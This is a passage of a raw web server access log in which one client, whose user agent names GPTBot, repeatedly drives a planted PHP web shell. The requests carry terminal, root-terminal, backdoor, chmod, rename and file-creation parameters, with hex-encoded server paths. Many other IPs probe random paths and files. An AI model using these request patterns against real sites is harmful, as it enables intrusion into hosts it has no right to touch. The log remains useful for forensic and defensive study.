Edg/121.0.0.0" 14.185.126.239 - - [17/Nov/2025:12:21:58 +0000] "GET /assets/assets-20251112184145/jquery/css/themes/twentytwentythree/patterns/ HTTP/1.1" 200 648 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0 OpenWave/94.4.4504.39" 14.233.123.163 - - [17/Nov/2025:12:22:07 +0000] "GET /assets/assets-20251112184145/img/includes/jcfxeds/wp-adminaa/jcfxeds/ HTTP/1.1" 200 670 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 201.213.36.160 - - [17/Nov/2025:12:22:07 +0000] "GET /assets/wp/includes/includes/css/plugins/pagelayer/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 123.24.156.208 - - [17/Nov/2025:12:22:07 +0000] "GET /assets/assets-20251112184145/backuply-20251107214702/wp/includes/css/themes/ HTTP/1.1" 200 701 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 123.22.93.195 - - [17/Nov/2025:12:22:08 +0000] "GET /assets/assets-20251112184145/wp/includes/includes/includes/css/ HTTP/1.1" 200 1043 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 113.165.20.226 - - [17/Nov/2025:12:22:09 +0000] "GET /assets/wp-includes/wp-contentaa/includes/jcfxeds/wp-contentaa/wp-adminaa/ HTTP/1.1" 200 639 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:22:10 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a636678656473&rename=wp-adminaa HTTP/2" 200 3259 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.227.188.177 - - [17/Nov/2025:12:22:10 +0000] "GET /assets/includes/js/includes/includes/css/jquery/ HTTP/1.1" 200 621 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.1.0" 182.253.89.15 - - [17/Nov/2025:12:22:10 +0000] "GET /assets/backuply-20251107214702/wp/includes/css/plugins/pagelayer/ HTTP/1.1" 200 665 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 178.176.182.88 - - [17/Nov/2025:12:22:11 +0000] "GET /assets/network/js/includes/includes/jcfxeds/wp-includes/ HTTP/1.1" 200 630 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 74.7.227.184 - - [17/Nov/2025:12:22:11 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a6366786564732f77702d636f6e74656e742f77702d636f6e74656e74 HTTP/2" 200 3232 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.237.51.56 - - [17/Nov/2025:12:22:12 +0000] "GET /assets/assets-20251112184145/plugins/plugins/pagelayer/images/wp/ HTTP/1.1" 200 660 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.165.29.10 - - [17/Nov/2025:12:22:12 +0000] "GET /assets/backuply/network/js/includes/css/js/ HTTP/1.1" 200 646 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:22:13 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f666f6e74732f696e636c756465732f6a6366786564732f6a636678656473 HTTP/2" 200 3198 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.187.141.199 - - [17/Nov/2025:12:22:15 +0000] "GET /assets/assets-20251112184145/blocks/js/includes/jquery/wp/ HTTP/1.1" 200 664 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Herring/95.1.1930.31" 74.7.227.184 - - [17/Nov/2025:12:22:15 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6373732f696e636c756465732f6a6366786564732f77702d636f6e74656e742f6a6366786564732f6a636678656473 HTTP/2" 200 3100 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 123.20.170.202 - - [17/Nov/2025:12:22:15 +0000] "GET /assets/backuply/plugins/js/includes/css/jquery/ HTTP/1.1" 200 627 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.50.14 - - [17/Nov/2025:12:22:15 +0000] "GET /assets/fonts/js/includes/jcfxeds/wp-contentaa/wp-content/ HTTP/1.1" 200 651 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.191.8.100 - - [17/Nov/2025:12:22:16 +0000] "GET /assets/assets-20251112184145/backuply-20251107214702/wp/includes/network/wp/ HTTP/1.1" 200 677 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:22:17 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702f6e6574776f726b2f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770&rename=snCaPhB.php HTTP/2" 200 3309 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.191.72.131 - - [17/Nov/2025:12:22:18 +0000] "GET /assets/blocks/js/js/js/includes/blocks/ HTTP/1.1" 200 622 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.189.120.151 - - [17/Nov/2025:12:22:18 +0000] "GET /assets/includes/js/includes/jcfxeds/wp-includes/wp-contentaa/ HTTP/1.1" 200 633 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:22:19 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f696e636c756465732f6a732f696e636c756465732f7468656d65732f7477656e74797477656e747966697665 HTTP/2" 200 3186 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 113.178.48.120 - - [17/Nov/2025:12:22:19 +0000] "GET /assets/assets-20251112184145/jquery/css/themes/twentytwentythree/styles/ HTTP/1.1" 200 647 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:22:21 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3080 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:24 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=backuply-20251107214702&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6173736574732d3230323531313132313834313435 HTTP/2" 200 4330 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.186.2.182 - - [17/Nov/2025:12:22:25 +0000] "GET /assets/includes/js/includes/includes/css/blocks/ HTTP/1.1" 200 622 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.173.236.8 - - [17/Nov/2025:12:22:27 +0000] "GET /assets/img/js/js/js/js/includes/ HTTP/1.1" 200 668 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/122.0.6261.62 Mobile/15E148 Safari/604.1" 14.186.186.88 - - [17/Nov/2025:12:22:10 +0000] "GET /assets/backuply-20251107214702/wp/includes/css/blocks/wp/ HTTP/1.1" 200 669 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/117.0.2045.48 Version/17.0 Mobile/15E148 Safari/604.1" 123.21.22.148 - - [17/Nov/2025:12:22:11 +0000] "GET /assets/backuply-20251107214702/js/includes/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 170.239.190.41 - - [17/Nov/2025:12:22:14 +0000] "GET /assets/blocks/js/includes/includes/wp/mfKCGzdJq.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 14.191.157.167 - - [17/Nov/2025:12:22:16 +0000] "GET /assets/backuply/includes/includes/includes/css/themes/ HTTP/1.1" 200 663 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 222.254.220.133 - - [17/Nov/2025:12:22:17 +0000] "GET /assets/backuply-20251107214702/includes/css/themes/twentytwentythree/styles/ HTTP/1.1" 200 652 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/121.0.2277.99 Version/17.0 Mobile/15E148 Safari/604.1" 14.237.132.155 - - [17/Nov/2025:12:22:20 +0000] "GET /assets/assets-20251112184145/wp-content/wp-adminaa/includes/includes/jcfxeds/ HTTP/1.1" 200 707 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 Herring/95.1.1930.31" 113.184.79.243 - - [17/Nov/2025:12:22:20 +0000] "GET /assets/backuply/themes/twentytwenty/inc/includes/css/ HTTP/1.1" 200 1031 "-" "Mozilla/5.0 (iPad; CPU OS 17_0_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1" 14.231.249.4 - - [17/Nov/2025:12:22:21 +0000] "GET /wp-content/themes/twentytwenty/inc/includes/css/jquery/ HTTP/1.1" 200 634 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/118.0.2088.68 Version/17.0 Mobile/15E148 Safari/604.1" 113.182.237.19 - - [17/Nov/2025:12:22:22 +0000] "GET /assets/backuply/jquery/css/wp/js/blocks/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 14.237.55.246 - - [17/Nov/2025:12:22:24 +0000] "GET /assets/includes/js/js/includes/css/themes/ HTTP/1.1" 200 661 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 113.177.253.141 - - [17/Nov/2025:12:22:25 +0000] "GET /assets/fonts/js/js/js/jquery/wp/ HTTP/1.1" 200 647 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.105 Version/17.0 Mobile/15E148 Safari/604.1" 14.191.242.139 - - [17/Nov/2025:12:22:26 +0000] "GET /assets/backuply-20251107214702/includes/jcfxeds/jcfxeds/wp-content/wp-content/ HTTP/1.1" 200 654 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 14.173.200.68 - - [17/Nov/2025:12:22:27 +0000] "GET /assets/wp-content/wp-includes/network/includes/includes/includes/ HTTP/1.1" 200 629 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.79 Version/17.0 Mobile/15E148 Safari/604.1" 113.170.129.99 - - [17/Nov/2025:12:22:29 +0000] "GET /assets/wp-adminaa/wp-adminaa/wp-adminaa/jquery/wp/ngRpwIPola.php HTTP/1.1" 200 6 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.96 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:22:27 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6173736574732d3230323531313132313834313435&rename=backuply-20251107214702 HTTP/2" 200 4280 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 83.99.137.8 - - [17/Nov/2025:12:22:28 +0000] "GET /assets/backuply-20251107214702/jquery/css/network/wp/snCaPhB.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1 OPX/2.2.0" 74.7.227.184 - - [17/Nov/2025:12:22:30 +0000] "GET /assets/backuply-20251107214702/js/blocks/xqsXVa.php?dir=2f7661722f7777772f68746d6c2f&f=cptechdomain.shtml HTTP/2" 403 1242 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 186.232.198.130 - - [17/Nov/2025:12:22:30 +0000] "GET /assets/assets-20251112184145/blocks/includes/plugins/pagelayer/main/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:22:31 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=root-terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3248 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.182.115.44 - - [17/Nov/2025:12:22:33 +0000] "GET /assets/assets-20251112184145/css/wp/backuply/wp/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0" 74.7.227.184 - - [17/Nov/2025:12:22:33 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f77702d61646d696e61612f6a732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3165 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.175.210.195 - - [17/Nov/2025:12:22:34 +0000] "GET /assets/includes/js/includes/includes/jcfxeds/wp-contentaa/ HTTP/1.1" 200 669 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36" 14.191.67.192 - - [17/Nov/2025:12:22:35 +0000] "GET /assets/css/img/includes/js/includes/wp/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:22:35 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6a732f6a732f696e636c756465732f696e636c756465732f6373732f706c7567696e732f7770732d686964652d6c6f67696e HTTP/2" 200 3255 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 222.255.45.29 - - [17/Nov/2025:12:22:36 +0000] "GET /assets/wp-content/wp-adminaa/js/includes/jcfxeds/wp-content/ HTTP/1.1" 200 636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0" 74.7.227.184 - - [17/Nov/2025:12:22:37 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6373732f77702f6a732f6a732f6a732f696e636c756465732f696e636c756465732f6373732f7468656d6573 HTTP/2" 200 3330 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.187.231.218 - - [17/Nov/2025:12:22:37 +0000] "GET /assets/plugins/js/js/includes/includes/css/ HTTP/1.1" 200 1017 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/120.0.2210.126 Version/17.0 Mobile/15E148 Safari/604.1" 74.7.227.184 - - [17/Nov/2025:12:22:39 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=includes-20251116202138&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6173736574732d3230323531313132313834313435 HTTP/2" 200 4277 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:40 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3256 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:42 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f6173736574732d3230323531313132313834313435&rename=includes-20251116202138 HTTP/2" 200 4279 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:44 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3112 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:46 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=file&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3219 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:48 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b&rename=wp HTTP/2" 200 3203 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:50 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 2911 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:52 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3205 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:54 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b HTTP/2" 200 3209 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:56 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?backdoor=true&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f6173736574732f77702d636f6e74656e742f77702d61646d696e61612f77702d61646d696e61612f6e6574776f726b2f696e636c75646573 HTTP/2" 200 3169 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:58 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?action=terminal&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f6a732f696e636c756465732f696e636c756465732f6a636678656473 HTTP/2" 200 3265 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 74.7.227.184 - - [17/Nov/2025:12:22:59 +0000] "GET /assets/wp-content/themes/twentytwenty/inc/wp/rWgaowMU.php?chmod=wp-contentaa&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d696e636c756465732f77702d636f6e74656e7461612f696e636c756465732f6a6366786564732f77702d696e636c75646573 HTTP/2" 200 3178 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 14.167.5.99 - - [17/Nov/2025:12:23:01 +0000] "GET /assets/backuply/jquery/includes/plugins/pagelayer/main/ HTTP/1.1" 200 636 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/98.8.8175.80" 113.162.50.62 - - [17/Nov/2025:12:23:01 +0000] "GET /assets/backuply-20251107214702/plugins/js/includes/jcfxeds/wp-content/ HTTP/1.1" 200 650 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.65 Version/17.0 Mobile/15E148 Safari/604.1" 181.191.82.86 - - [17/Nov/2025:12:23:03 +0000] "GET /assets/wp/plugins/wps-hide-login/languages/wp/bsiHlOOGdn.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 74.7.227.184 - - [17/Nov/2025:12:23:02 +0000] "GET /assets/backuply/jquery/themes/twentytwenty/inc/wp/rWgaowMU.php?create=folder&dir=2f686f6d652f6570696367616d65727a6f6e65636f2f666c6f7261657373656e63652e636f2e756b2f77702d61646d696e61612f6e6574776f726b2f6a732f6a732f6a732f6a732f696e636c756465732f6373732f6e6574776f726b2f7770 HTTP/2" 200 3054 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)" 171.228.29.142 - - [17/Nov/2025:12:23:03 +0000] "GET /assets/wp/js/js/includes/css/blocks/ HTTP/1.1" 200 620 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/119.0.2151.78 Version/17.0 Mobile/15E148 Safari/604.1" 14.186.67.136 - - [17/Nov/2025:12:23:03 +0000] "GET /assets/backuply/wp-adminaa/includes/includes/jcfxeds/wp-content/ HTTP/1.1" 200 642 "-" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Mobile Safari/537.36" 222.254.194.199 - - [17/Nov/2025:12:23:04 +0000] "GET /assets/wp-includes/network/js/includes/jcfxeds/wp-content/ HTTP/1.1" 200 631 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) EdgiOS/116.0.1938.79 Version/17.0 Mobile/15E148 Safari/604.1" 14.248.29.126 - - [17/Nov/2025:12:22:31 +0000] "GET /assets/backuply-20251107214702/wp/themes/twentytwentythree/patterns/wp/ HTTP/1.1" 200 682 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0 GLS/100.10.9979.100" 186.65.65.30 - - [17/Nov/2025:12:22:32 +0000] "GET 